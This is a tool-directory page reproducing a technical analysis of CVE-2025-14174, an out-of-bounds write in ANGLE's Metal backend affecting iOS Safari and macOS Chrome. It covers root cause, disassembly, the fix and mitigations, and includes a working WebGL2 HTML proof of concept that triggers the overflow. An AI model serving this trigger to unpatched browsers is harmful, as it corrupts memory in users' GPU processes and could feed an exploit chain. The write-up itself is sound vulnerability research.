Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-14174-analysis — Analysis and PoC for CVE-2025-14174 - ANGLE Metal OOB write (iOS Safari, macOS Chrome) | Kitploit
Tools/GitHubGitHub/typeconfused/cve-2025-14174-analysis
iOS SecurityVulnerability AnalysisExploitationWeb SecurityMobile SecurityHardware SecurityBinary Analysis
GitHubtypeconfused/cve-2025-14174-analysis

CVE-2025-14174-analysis

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

Analysis and PoC for CVE-2025-14174 - ANGLE Metal OOB write (iOS Safari, macOS Chrome)

View Repository
168 months agoNot yet reviewed
Share

CVE-2025-14174 Analysis: ANGLE Metal Staging Buffer Out-of-Bounds Write

Technical analysis and proof-of-concept for CVE-2025-14174

CVECVE-2025-14174
SeverityHigh
Exploited ITWYes - targeted attacks on iOS < 26
AffectediOS Safari, macOS Chrome/Chromium/Electron (not macOS Safari)
StatusPatched in ANGLE commit 95a32cb
CreditApple, Google Threat Analysis Group

In-the-Wild Exploitation

According to Apple, CVE-2025-14174 was exploited as part of an "extremely sophisticated attack against specific targeted individuals" on iOS versions before iOS 26.

The attack chain included:

  • CVE-2025-14174 (this writeup) - ANGLE Metal OOB write
  • CVE-2025-43529 (WebKit Bug 302502) - WebKit use-after-free

Table of Contents

  • Summary
  • Affected Platforms
  • Impact
  • Root Cause
  • Trigger Conditions
  • Technical Analysis
  • Proof of Concept
  • The Fix
  • Detection Notes
  • Mitigations
  • References

Summary

An out-of-bounds (OOB) write vulnerability exists in ANGLE's Metal backend when uploading depth textures via a staging buffer. The staging buffer size is calculated using GL_UNPACK_IMAGE_HEIGHT instead of the actual texture height. When UNPACK_IMAGE_HEIGHT < height, ANGLE allocates an undersized buffer and subsequently writes height rows into it, causing a GPU memory corruption in the renderer process.


Affected Platforms

This vulnerability affects applications using ANGLE's Metal backend for WebGL:

Platform Details

iOS Safari is affected. On iOS, WebKit uses ANGLE as its WebGL backend, making Safari on iPhone and iPad vulnerable.

macOS Safari is NOT affected. On macOS, Safari uses WebKit's own native WebGL implementation that interfaces directly with Metal, bypassing ANGLE entirely.

macOS Chrome is affected. Google Chrome running on macOS 26.1 appeared vulnerable during testing, as it uses ANGLE's Metal backend for WebGL.

The vulnerable code path exists in ANGLE's TextureMtl class (setSubImageImpl / setPerSliceSubImage / SaturateDepth).


Impact

SeverityDescription
ConfirmedGPU/Metal backend write past end of staging buffer

Key characteristics:

  • The bug is silent in WebGL (typically returns NO_ERROR)
  • No visible rendering artifacts in most cases
  • Metal validation layers may not detect the overflow
  • Potential for GPU-process instability or exploitation depending on heap layout

Root Cause

In the D32F depth texture upload path, ANGLE computes pixelsDepthPitch from GL_UNPACK_IMAGE_HEIGHT and uses this value to size the staging MTLBuffer. However, the subsequent compute dispatch (depth saturation) uses the actual texture height for the operation, causing an OOB write when the parameters differ.

Size Mismatch Example

For width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:


Trigger Conditions

All of the following must be true:

  1. WebGL2 context (required for PBO support)
  2. Depth texture format DEPTH_COMPONENT32F (verified; other depth formats may also be affected but are untested)
  3. Pixel Buffer Object (PBO) bound to PIXEL_UNPACK_BUFFER
  4. GL_UNPACK_IMAGE_HEIGHT set to a value less than actual texture height
  5. ANGLE Metal backend active (iOS Safari, or Chrome/Chromium/Electron on macOS)

Why WebGL Doesn't Block This

GL_UNPACK_IMAGE_HEIGHT is defined by the GL spec to affect 3D/array texture uploads, not 2D textures. For TEXTURE_2D:

  • The parameter is accepted but does not participate in WebGL validation
  • WebGL does not reject UNPACK_IMAGE_HEIGHT < height for 2D textures
  • ANGLE incorrectly uses this parameter to size the staging buffer for depth uploads

Technical Analysis

Vulnerable Call Chain

root@kitploit:~
WebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
    │
    ▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│   └── TextureMtl::setSubImageImpl
│       └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│   └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...)  ← UNDERSIZED
│
└── SaturateDepth
    ├── getComputeCommandEncoder()
    ├── setBuffer(stagingBuffer, index=2)
    └── dispatchThreads(MTLSize{width, actualHeight})  ← USES REAL HEIGHT

Binary Evidence (iOS 26.1)

root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov  x2, x19              ; x2 = size (undersized depthPitch)
0x272fac5c4: bl   #0x272ef19bc         ; call MakeBufferWithStorageMode

Binary Evidence (macOS 26.1)

root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr  x20, [sp, #0x48]     ; load depthPitch from stack
0x22c6d4628: bl   MakeBufferWithStorageMode

The SaturateDepth function subsequently dispatches a Metal compute shader using the actual texture dimensions, writing past the undersized staging buffer.


Proof of Concept

Minimal Trigger (WebGL2)

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');

const width = 256, height = 256;
const unpackHeight = 16;  // << smaller than actual height

// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);

// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);

// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
    gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
    width, height, 0,
    gl.DEPTH_COMPONENT, gl.FLOAT, 0
);

// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>

Expected result on vulnerable systems: gl.getError() returns NO_ERROR despite the OOB write occurring in the GPU process.


The Fix

ANGLE commit 95a32cb corrects the staging buffer allocation to use actual texture dimensions:

root@kitploit:~
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));

// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));

Additionally, srcBytesPerImage calculation was fixed for the blit operation:

root@kitploit:~
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;

Detection Notes

This vulnerability is difficult to detect from JavaScript:

  • Staging buffers are internal Metal resources in the GPU process
  • WebGL typically returns NO_ERROR even when the bug is triggered
  • Metal validation layers may not flag the overflow
  • No visible rendering artifacts in most cases
  • Requires instrumentation of Metal API calls or GPU memory debugging

Mitigations

ApproachDescription
UpdateApply platform updates containing the ANGLE fix
WorkaroundAvoid setting UNPACK_IMAGE_HEIGHT smaller than actual height for depth textures

References

  • ANGLE Fix: https://chromium.googlesource.com/angle/angle/+/95a32cb
  • Chromium Bug: https://issues.chromium.org/issues/466192044
  • WebKit Bug (CVE-2025-43529): https://webkit.org/b/302502
  • Affected Platforms:
    • iOS: Safari (WebKit uses ANGLE Metal)
    • macOS: Chrome, Chromium, Electron (use ANGLE Metal)

Credits

Vulnerability Discovery: Apple, Google Threat Analysis Group

Technical Analysis: This writeup documents independent research and reverse engineering of the vulnerability.


Analysis conducted as part of SpiderWebKit security research project.

Download Tool
PlatformSoftwareAffectedNotes
iOSSafariYesWebKit on iOS uses ANGLE Metal for WebGL
macOSChrome / ChromiumYesUses ANGLE Metal backend
macOSElectron appsYesUses Chromium's ANGLE implementation
macOSSafariNoUses WebKit's native Metal WebGL, not ANGLE
Confirmed
Reproducible via WebGL2 + PBO + DEPTH_COMPONENT32F
PlausibleGPU process crash or context loss under memory pressure
TheoreticalCross-resource corruption in GPU memory (not demonstrated)
ParameterCalculationValue
Row pitchwidth * sizeof(float)4 bytes
Staging buffer (allocated)rowPitch * UNPACK_IMAGE_HEIGHT512 bytes
Compute dispatch (written)rowPitch * actualHeight2048 bytes
OOB write2048 - 5121536 bytes
FunctionAddressRole
setSubImageImpl0x272fa9028Computes undersized depthPitch
setPerSliceSubImage0x272fac240Allocates undersized staging buffer
MakeBufferWithStorageMode0x272ef19bcCreates MTLBuffer with wrong size
SaturateDepth0x272facfa4Dispatches compute with actual dimensions
FunctionAddressRole
setSubImageImpl0x22c6d10f4Computes undersized depthPitch
setPerSliceSubImage0x22c6d4398Allocates undersized staging buffer
MakeBufferWithStorageMode0x22c619490Creates MTLBuffer with wrong size
SaturateDepth0x22c6d5144Dispatches compute with actual dimensions
Defense-in-depthUse fixed-size uploads where UNPACK_IMAGE_HEIGHT == height